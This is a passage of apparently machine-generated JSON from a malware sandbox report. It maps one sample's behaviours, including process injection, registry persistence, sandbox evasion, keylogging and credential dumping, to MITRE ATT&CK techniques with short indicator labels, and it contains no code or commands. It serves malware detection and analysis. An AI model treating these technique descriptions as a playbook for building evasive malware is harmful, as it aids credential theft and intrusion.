strings"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"informative","value":"Launches a VBS file"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Able to unregister service from Service Control Manager"},{"type":"informative","value":"Contains ability to modify system service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Change Default File Association","attack_id":"T1546.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/001","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"Installer Packages","attack_id":"T1546.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/016","identifiers":[{"type":"informative","value":"Attempts to launch the Installer package binary"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Possible DLL sideloading"},{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Contains ability to modify file system redirection"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Contains a Wine emulator-related string"},{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Msiexec","attack_id":"T1218.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/007","identifiers":[{"type":"informative","value":"Detected msiexec.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"YARA signature match – PEB traversal"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"malicious","value":"PE file contains executable resources"},{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"References Video COM interface string"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Contains ability to retrieve/open a process"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains reference to Borland Delphi related registry entry"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"},{"type":"informative","value":"Calls an API typically used to enumerate logical drives on the computer"},{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to provide information and utilities for managing network resources (API string)"},{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"},{"type":"informative","value":"Imports windows networking-related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically 